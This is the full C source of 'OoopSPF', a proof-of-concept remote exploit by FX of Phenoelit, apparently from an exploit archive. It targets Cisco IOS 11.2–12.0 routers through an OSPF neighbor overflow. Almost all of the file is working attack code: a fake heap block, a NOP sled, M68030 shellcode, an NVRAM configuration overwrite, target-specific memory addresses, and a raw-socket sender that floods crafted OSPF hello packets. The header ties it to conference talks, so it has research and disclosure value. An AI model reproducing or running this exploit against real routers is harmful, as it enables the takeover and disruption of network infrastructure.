home *** CD-ROM | disk | FTP | other *** search
-
- /* Cisco IOS IO memory exploit prove of concept
- * by FX of Phenoelit <fx@phenoelit.de>
- * http://www.phenoelit.de
- *
- * For:
- * 19C3 Chaos Communication Congress 2002 / Berlin
- * BlackHat Briefings Seattle 2003
- *
- * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
- * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
- * structure (small buffer header). The attached program is a PoC to exploit
- * this vulnerability by executing "shell code" on the router and write the
- * attached configuration into NVRAM to basicaly own the router.
- *
- * Example:
- * linux# gcc -o OoopSPF OoopSPF.c
- * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
- * -f ./small.config -t 0 -a 1.2.3.4 -vv
- *
- * You can see if it worked if a) the router does not crash and b) the output of
- * "show mem io" looks like this:
- * E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data*
- * E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data*
- * E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data*
- * E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT]
- *
- * Exploit has to be "triggered". In LAB environment, go to the router and say
- * box# conf t
- * box(config)# buffers small perm 0
- *
- * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
- * Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
- * Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
- *
- * $Id: OoopSPF.c,v 1.1.1.1 2005/02/12 19:46:19 loni Exp $
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <errno.h>
- #include <time.h>
-
- #include <sys/ioctl.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <fcntl.h>
-
- #define IPTTL 0x80
- #define BLABLA "Phenoelit OoopSPF\n" \
- " Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
- " (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n"
- #define IPPROTO_OSPF 0x59
- #define IP_ADDR_LEN 4
- typedef struct {
- u_int8_t ihl:4, /* header length */
- version:4; /* version */
- u_int8_t tos; /* type of service */
- u_int16_t tot_len; /* total length */
- u_int16_t id; /* identification */
- u_int16_t off; /* fragment offset field */
- u_int8_t ttl; /* time to live */
- u_int8_t protocol; /* protocol */
- u_int16_t check; /* checksum */
- struct in_addr saddr;
- struct in_addr daddr; /* source and dest address */
- } iphdr_t;
-
- typedef struct {
- u_int8_t version __attribute__ ((packed));
- u_int8_t type __attribute__ ((packed));
- u_int16_t length __attribute__ ((packed));
- u_int8_t source[4] __attribute__ ((packed));
- u_int8_t area[4] __attribute__ ((packed));
- u_int16_t checksum __attribute__ ((packed));
- u_int16_t authtype __attribute__ ((packed));
- u_int8_t authdata[8] __attribute__ ((packed));
- } ospf_header_t;
-
- typedef struct {
- u_int8_t netmask[4] __attribute__ ((packed));
- u_int16_t hello_interval __attribute__ ((packed));
- u_int8_t options __attribute__ ((packed));
- u_int8_t priority __attribute__ ((packed));
- u_int8_t dead_interval[4] __attribute__ ((packed));
- u_int8_t designated[4] __attribute__ ((packed));
- u_int8_t backup[4] __attribute__ ((packed));
- } ospf_hello_t;
-
-
- //
- // Target definitions
- //
-
- typedef struct {
- char *description;
- int n_neig;
- int data_start;
- u_int32_t blockbegin;
- u_int32_t prev;
- u_int32_t nop_sleet;
- u_int32_t stack_address;
- u_int32_t iomem_end;
- } targets_t;
-
- targets_t targets[] = {
- { // #0 Phenoelit labs 2503
- "2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
- 256, // # of neighbor announcements
- 0xe5, // data start
- 0xE411D4, // block begin
- 0xE410B4, // PREV
- 6, // nop_sleet after FAKE BLOCK
- 0x079B48, // Check heaps stack PC
- 0x00FFFFFF // IO mem end
- },
- { // #1 Phenoelit labs 2501
- "2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
- 256, // # of neighbor announcements
- 0xe5, // data start
- 0x00E31EA4, // block begin
- 0x00E31D84, // PREV
- 6, // nop_sleet after FAKE BLOCK
- 0x00079918, // Check heaps stack PC (using IOStack.pl)
- 0x00FFFFFF // IO mem end
- }
- };
-
- #define TARGETS (sizeof(targets)/sizeof(targets_t)-1)
-
- //
- // NVRAM header structure
- //
-
- typedef struct {
- u_int16_t magic __attribute__((packed));
- u_int16_t one __attribute__((packed));
- u_int16_t checksum __attribute__((packed));
- u_int16_t IOSver __attribute__((packed));
- u_int32_t unknown __attribute__((packed));
- u_int32_t ptr __attribute__((packed));
- u_int32_t size __attribute__((packed));
- } nvheader_t;
-
- //
- // FAKE BLOCK definitions
- //
-
- typedef struct {
- u_int32_t redzone __attribute__((packed));
- u_int32_t magic __attribute__((packed));
- u_int32_t pid __attribute__((packed));
- u_int32_t proc __attribute__((packed));
- u_int32_t name __attribute__((packed));
- u_int32_t pc __attribute__((packed));
- u_int32_t next __attribute__((packed));
- u_int32_t prev __attribute__((packed));
- u_int32_t size __attribute__((packed));
- u_int32_t refcnt __attribute__((packed));
- u_int32_t pad1 __attribute__((packed));
- u_int32_t freemagic __attribute__((packed));
- u_int32_t lastdealloc __attribute__((packed));
- u_int32_t pad2 __attribute__((packed));
- u_int32_t pad3 __attribute__((packed));
- u_int32_t free_next __attribute__((packed));
- u_int32_t free_prev __attribute__((packed));
- } block_t;
-
- char fakeblock[] =
- "\xFD\x01\x10\xDF" // RED
- "\xAB\x12\x34\xCD" // MAGIC
- "\xFF\xFF\xFF\xFF" // PID
- "\x80\x81\x82\x83" // PROC
- "\x00\xE4\x12\x00" // NAME (Message)
- "\x80\x8a\x8b\x8c" // PC
- "\x00\x00\x00\x00" // NEXT (no following block)
- "\x00\xE4\x10\xB4" // PREV (correct for 0xE411d4)
- "\x00\x0D\xF7\x02" // Size CORRECT for 0xE411D4
- "\x00\x00\x00\x00" // Reference count
- "\x00\x00\x00\x00" // PADDING
- "\xDE\xAD\xBE\xEF" // FREE MAGIC
- "[PHE" // last delocator
- "NOEL" // PADDING
- "IT]\x00" // PADDING
- "\x00\xE4\x12\x20" // FREE NEXT in our block
- "\x00\x07\x9B\x48" // FREE PREV (Check heaps stack PC)
- ;
- block_t *bpatch = (block_t*)fakeblock;
-
- //
- // Cisco code for M68030 CPU and 2500 NVRAM layout
- //
- char ccode[] =
- "\x46\xFC\x27\x00" //movew #9984,%sr (0x00E41220)
- "\x43\xFA\x00\x48" //lea %pc@(4e <config>),%a1 (0x00E41224)
- "\x24\x7C\x02\x00\x00\x06" //moveal #33554438,%a2 (0x00E41228)
- "\xB3\x81" //eorl %d1,%d1 (0x00E4122E)
- "\x74\x01" //moveq #1,%d2 (0x00E41230)
- "\x22\x3C\x01\x01\x01\x01" //movel #16843009,%d1 (0x00E41232)
- "\x14\xD9" //moveb %a1@+,%a2@+ (0x00E41238)
- "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E4123A)
- "\x93\x42" //subxw %d2,%d1 (0x00E4123E)
- "\x6B\x00\xFF\xFC" //bmiw 1e <write_delay> (0x00E41240)
- "\x0C\x91\xCA\xFE\xF0\x0D" //cmpil #-889262067,%a1@ (0x00E41244)
- "\x66\x00\xFF\xEC" //bnew 18 <copy_config> (0x00E4124A)
- "\x14\xFC\x00\x00" //moveb #0,%a2@+ (0x00E4124E)
- "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E41252)
- "\x93\x42" //subxw %d2,%d1 (0x00E41256)
- "\x6B\x00\xFF\xFC" //bmiw 36 <write_delay2> (0x00E41258)
- "\xB5\xFC\x02\x00\x07\x00" //cmpal #33556224,%a2 (0x00E4125C)
- "\x6D\x00\xFF\xEA" //bltw 2e <delete_config> (0x00E41262)
- "\x22\x7C\x03\x00\x00\x60" //moveal #50331744,%a1 (0x00E41266)
- "\x4E\xD1" //jmp %a1@ (0x00E4126C)
-
- ;
-
- char terminator[] = "\xCA\xFE\xF0\x0D";
- char nop[] = "\x4E\x71";
-
- //
- // Global variables to pass the current buffer location to the
- // OSPF packet generator function
- //
- int payloadc=0;
- char *payload=NULL;
- // packet counter (global)
- unsigned int pc=0;
-
-
- //
- // Configuration
- //
- struct {
- int verbose;
- char *device;
- struct in_addr *target;
- u_int32_t src_net;
- u_int32_t src_mask;
- u_int32_t area;
- int directed;
- int test_only;
-
- // fake block constants
- int n_neig;
- int data_start;
- u_int32_t blockbegin;
- u_int32_t prev;
- u_int32_t nop_sleet;
- u_int32_t stack_address;
- u_int32_t iomem_end;
-
- // other stuff
- char *filename;
- int target_sel;
- } cfg;
-
-
- u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
- u_int16_t autosys, int *psize);
- int init_socket_IP4(int broadcast);
- int sendpack_IP4(int sfd, u_char *packet,int plength);
- u_int16_t chksum(u_char *data, unsigned long count);
- void *smalloc(size_t size);
- void hexdump(unsigned char *bp, unsigned int length);
- void usage(char *s);
-
- int main(int argc, char **argv) {
- char option;
- extern char *optarg;
- int sfd;
-
- unsigned int i=0;
- u_int32_t countip=20;
-
- /* confg file */
- int fd;
- struct stat sb;
-
- u_char *buffer;
- u_char *p;
- nvheader_t *nvh;
- unsigned int len;
- u_int16_t cs1;
-
- // final overflow
- char *overflow;
- int osize=0;
-
-
- printf(BLABLA);
-
- memset(&cfg,0,sizeof(cfg));
- while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
- switch (option) {
- case 'v': cfg.verbose++;
- break;
- case 'D': cfg.directed++;
- break;
- case 'T': cfg.test_only++;
- break;
- case 'd': cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
- if (inet_aton(optarg,cfg.target)==0) {
- fprintf(stderr,"Your destination is bullshit\n");
- return (1);
- }
- break;
- case 's': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
- fprintf(stderr,"Your source net is wrong\n");
- return (1);
- }
- break;
- case 'n': if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
- fprintf(stderr,"Your source mask is wrong\n");
- return (1);
- }
- break;
- case 'L': cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
- break;
- case 'F': cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
- break;
- case 'f': cfg.filename=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.filename,optarg);
- break;
- case 't': cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
- if (cfg.target_sel>TARGETS) {
- fprintf(stderr,"Target number unknown\n");
- return (1);
- }
- break;
- case 'S': cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
- break;
- case 'a': if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
- fprintf(stderr,"Your area doesn't make sense.\n");
- return (1);
- }
- break;
- default: usage(argv[0]);
- }
- }
-
- if (cfg.target_sel>TARGETS) {
- fprintf(stderr,"Error: user too stupid (check -t)\n");
- return (-1);
- }
- if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
- if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
- if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
- if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
- if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
- if (cfg.stack_address==0) cfg.stack_address=targets[cfg.target_sel].stack_address;
- if (cfg.iomem_end==0) cfg.iomem_end=targets[cfg.target_sel].iomem_end;
-
- //
- // Check the parameters and set up a socket
- //
- cfg.src_net=cfg.src_net&cfg.src_mask;
-
- if ( (cfg.src_net==0)||(cfg.src_mask==0)
- ||(cfg.filename==NULL)||(cfg.target==NULL)) {
- usage(argv[0]);
- }
-
- if ((sfd=init_socket_IP4(1))<1) {
- fprintf(stderr,"Could not get a socket for you\n");
- return (-1);
- }
-
- //
- // Get some info back to the user if he requested verbose
- //
- if (cfg.verbose) {
- if (cfg.directed)
- printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
- else
- printf("\twith default destination addresses\n");
- printf("\twith source network %s/",
- inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
- printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
- printf("Using Target: %s\n",targets[cfg.target_sel].description);
- printf( "\t# of neighbors: %u\n"
- "\tdata start : %u\n"
- "\tBlock address : 0x%08X\n"
- "\tPREV pointer : 0x%08X\n"
- "\tNOP sleet : %u\n"
- "\tStack address : 0x%08X\n"
- "\tIO Memory end : 0x%08X\n",
- cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
- cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
- }
-
- //
- // Patch the fake block with the new values
- //
- bpatch->prev=htonl(cfg.prev);
- bpatch->size=htonl(
- (cfg.iomem_end
- -39 // minus block header in bytes - 1
- -cfg.blockbegin) / 2);
- bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
- +((sizeof(nop)-1)*cfg.nop_sleet));
- bpatch->free_prev=htonl(cfg.stack_address);
- bpatch->name=htonl(cfg.blockbegin+44);
-
- /*
- * Load Config
- * - load into buffer
- * - prepare NVRAM header
- * - calculate checksum
- * -> *buffer contains payload
- */
- if (cfg.filename==NULL) return (-1);
- if (stat(cfg.filename,&sb)!=0) {
- fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
- return (-1);
- }
-
- if ((fd=open(cfg.filename,O_RDONLY))<0) {
- fprintf(stderr,"Could not open() file %s\n",cfg.filename);
- return (-1);
- }
-
- len=sb.st_size;
- if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
- fprintf(stderr,"Malloc() failed\n");
- return (-1);
- }
- memset(buffer,0,len+sizeof(nvheader_t)+10);
-
- p=buffer+sizeof(nvheader_t);
- if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
- close(fd);
-
- // pad config so it is word bound for the 0xcafef00d test
- if ((len%2)!=0) {
- strcat(p,"\x0A");
- len++;
- if (cfg.verbose) printf("Padding config by one\n");
- }
-
- nvh=(nvheader_t *)buffer;
- nvh->magic=htons(0xABCD);
- nvh->one=htons(0x0001); // is always one
- nvh->IOSver=htons(0x0B03); // IOS version
- nvh->unknown=htonl(0x00000014); // something, 0x14 just works
- nvh->ptr=htonl(0x000D199F); // config end ptr
- nvh->size=htonl(len);
-
- cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
- if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
- nvh->checksum=cs1;
-
- //
- // Put the overflow together
- //
- // (1) calculate size of the whole thing
- osize=sizeof(fakeblock)-1+
- (cfg.nop_sleet * (sizeof(nop)-1))+
- sizeof(ccode)-1+
- sizeof(nvheader_t)+
- len+
- sizeof(terminator)-1;
- if ((osize/4)>cfg.data_start) {
- fprintf(stderr,"ERROR: The whole thing is too large!\n");
- return (-1);
- } else {
- printf("Using %u out of %u bytes (overflow: %u bytes)\n",
- osize,cfg.data_start*4,cfg.n_neig*4);
- }
- //
- // adjust osize ot be 4byte bound
- //
- if ((osize%4!=0)) osize+=osize%4;
- overflow=smalloc(osize);
-
- //
- // (2) copy the fakeblock in the buffer
- //
- memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
- p=(void *)overflow+sizeof(fakeblock)-1;
-
- //
- // (3) Add NOPs to the buffer
- //
- for (i=0;i<cfg.nop_sleet;i++) {
- memcpy(p,nop,sizeof(nop)-1);
- p+=sizeof(nop)-1;
- }
-
- //
- // (4) Add the ccode
- //
- memcpy(p,ccode,sizeof(ccode)-1);
- p+=sizeof(ccode)-1;
-
- //
- // (5) Add the NVRAM structure and config
- //
- memcpy(p,buffer,len+sizeof(nvheader_t));
- p+=len+sizeof(nvheader_t);
-
- //
- // (6) finish off with terminator
- //
- memcpy(p,terminator,sizeof(terminator)-1);
-
- if (cfg.verbose>1) hexdump(overflow,osize);
- if (cfg.test_only) return (0);
-
- payload=overflow+(osize-4);
- payloadc=osize;
-
- // *************************
- // PERFORM THE OVERFLOW
- // *************************
- for (i=0;i<cfg.n_neig;i++) {
- u_char *pack;
- int plen;
- u_int32_t uip;
-
- OwnHostException:
- countip++;
- uip=htonl(countip);
- uip=uip&(~cfg.src_mask);
- uip=uip|cfg.src_net;
-
- if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
- if (cfg.verbose>2)
- printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
- else {
- printf("*"); fflush(stdout);
- }
- goto OwnHostException;
- }
-
- if (cfg.verbose>2)
- printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
- else {
- printf("."); fflush(stdout);
- }
-
- // Make and send OSPF
- pack=construct_ospf(cfg.target,
- (struct in_addr *)&uip,0,&plen);
- sendpack_IP4(sfd,pack,plen);
- free(pack);
-
- if (cfg.verbose>2) printf("\n");
- usleep(1);
- }
-
- close(sfd);
- printf("\n");
-
- return 0;
- }
-
- u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
- u_int16_t autosys, int *psize) {
- u_char *tpacket;
- iphdr_t *iph;
- u_int16_t cs; /* checksum */
- char all_ospf[]="224.0.0.5";
- ospf_header_t *ospfh;
- ospf_hello_t *ohelo;
-
- *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
- tpacket=(u_char *)smalloc(*psize
- +3 /* for my checksum function, which sometimes
- steps over the mark */
- );
-
- // IP packet
- iph=(iphdr_t *)tpacket;
-
- iph->version=4;
- iph->ihl=sizeof(iphdr_t)/4;
-
- iph->tot_len=htons(*psize);
- iph->ttl=IPTTL;
- iph->protocol=IPPROTO_OSPF;
-
- memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
- if (!cfg.directed)
- inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
- else
- memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);
-
- // OSPF header
- ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
- ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
- ospfh->version=2;
- ospfh->type=1;
- ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
- memcpy(&(ospfh->area),&(cfg.area),4);
-
- // Increment the packets sent
- pc++;
-
- //
- // If we are in the range of the whole overflow thingy, copy the appropriate
- // 4 bytes into the source address in the OSPF header
- //
- if ( (pc <= cfg.data_start) &&
- (pc > cfg.data_start-(payloadc/4) ) ) {
- memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
- payload-=4;
- }
- //
- // well, we are not in there, so we set it to some value
- //
- else {
- ospfh->source[0]=0xCA;
- ospfh->source[1]=0xFE;
- ospfh->source[2]=0xBA;
- ospfh->source[3]=0xBE;
- }
-
- // be verbose
- if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned int*)&(ospfh->source))));
-
- // compile the rest of the packet
- memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
- ohelo->hello_interval=htons(10);
- ohelo->options=0x2;
- ohelo->priority=2;
- ohelo->dead_interval[3]=40;
- memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);
-
- cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
- ospfh->checksum=cs;
-
- return tpacket;
- }
-
- // Dirty stuff from IRPAS
- int init_socket_IP4(int broadcast) {
- int sfd;
- int t=1;
-
- if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
- perror("socket()");
- return(-1);
- }
-
- /* make a broadcast enabled socket if desired */
- if (broadcast) {
- if (setsockopt(
- sfd,SOL_SOCKET,SO_BROADCAST,
- (void *)&t,sizeof(int)) != 0) {
- perror("setsockopt");
- return (-1);
- }
- }
- return sfd;
- }
-
- int sendpack_IP4(int sfd, u_char *packet,int plength) {
- struct sockaddr_in sin;
- iphdr_t *iph;
-
- iph=(iphdr_t *)packet;
-
- memset(&sin,0,sizeof(struct sockaddr_in));
- sin.sin_family=AF_INET;
- sin.sin_port=htons(0);
- memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));
-
- if (sendto(sfd,packet,plength,0,
- (struct sockaddr *) &sin,
- sizeof(struct sockaddr_in)) <=0) {
- perror("sendto()");
- return(-1);
- }
-
- return 0;
- }
-
-
- u_int16_t chksum(u_char *data, unsigned long count) {
- u_int32_t sum = 0;
- u_int16_t *wrd;
-
- wrd=(u_int16_t *)data;
- while( count > 1 ) {
- sum = sum + *wrd;
- wrd++;
- count -= 2;
- }
-
- if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (~sum);
- }
-
- void *smalloc(size_t size) {
- void *p;
-
- if ((p=malloc(size))==NULL) {
- fprintf(stderr,"smalloc(): malloc failed\n");
- exit (-2);
- }
- memset(p,0,size);
- return p;
- }
-
-
- // /dirty
-
-
-
- /* A better version of hdump, from Lamont Granquist. Modified slightly
- * by Fyodor (fyodor@DHP.com)
- * obviously stolen by FX from nmap (util.c)*/
- void hexdump(unsigned char *bp, unsigned int length) {
-
- /* stolen from tcpdump, then kludged extensively */
-
- static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
-
- register const u_short *sp;
- register const u_char *ap;
- register u_int i, j;
- register int nshorts, nshorts2;
- register int padding;
-
- printf("\n\t");
- padding = 0;
- sp = (u_short *)bp;
- ap = (u_char *)bp;
- nshorts = (u_int) length / sizeof(u_short);
- nshorts2 = (u_int) length / sizeof(u_short);
- i = 0;
- j = 0;
- while(1) {
- while (--nshorts >= 0) {
- printf(" %04x", ntohs(*sp));
- sp++;
- if ((++i % 8) == 0)
- break;
- }
- if (nshorts < 0) {
- if ((length & 1) && (((i-1) % 8) != 0)) {
- printf(" %02x ", *(u_char *)sp);
- padding++;
- }
- nshorts = (8 - (nshorts2 - nshorts));
- while(--nshorts >= 0) {
- printf(" ");
- }
- if (!padding) printf(" ");
- }
- printf(" ");
-
- while (--nshorts2 >= 0) {
- printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
- ap += 2;
- if ((++j % 8) == 0) {
- printf("\n\t");
- break;
- }
- }
- if (nshorts2 < 0) {
- if ((length & 1) && (((j-1) % 8) != 0)) {
- printf("%c", asciify[*ap]);
- }
- break;
- }
- }
- if ((length & 1) && (((i-1) % 8) == 0)) {
- printf(" %02x", *(u_char *)sp);
- printf(" %c", asciify[*ap]);
- }
- printf("\n");
- }
-
- void usage(char *s) {
- int i;
-
- fprintf(stderr,"Usage: \n"
- "%s -s <src net> -n <src mask> -d <target rtr ip> -f <file>"
- " -t <targ#>\n"
- "Options:\n"
- "-s <src net> Use this network as source (as in target config)\n"
- "-n <src mask> Use this netmask as source (as in target config)\n"
- "-d <target> This is the target router interface IP\n"
- "-f <file> Use this as the new config for the router\n"
- "-t # Use this target value set (see below)\n"
- "-a <area> Use this OSPF area\n"
- "-v Be verbose (-vv or -vvv recommended)\n"
- "-D Directed attack (unicast) for 11.x targets\n"
- "-T Test only - don't send\n"
- " --- barely used options ---\n"
- "-L # Number of neighbors to announce (overflow size)\n"
- "-F # Start of data (seen reverse to overflow)\n"
- "-S # NOP sleet\n"
- "\n"
- "Known targets:\n"
- ,s);
-
- for (i=0;i<=TARGETS;i++)
- fprintf(stderr,"\t%s\n",targets[i].description);
-
- exit (1);
- }
-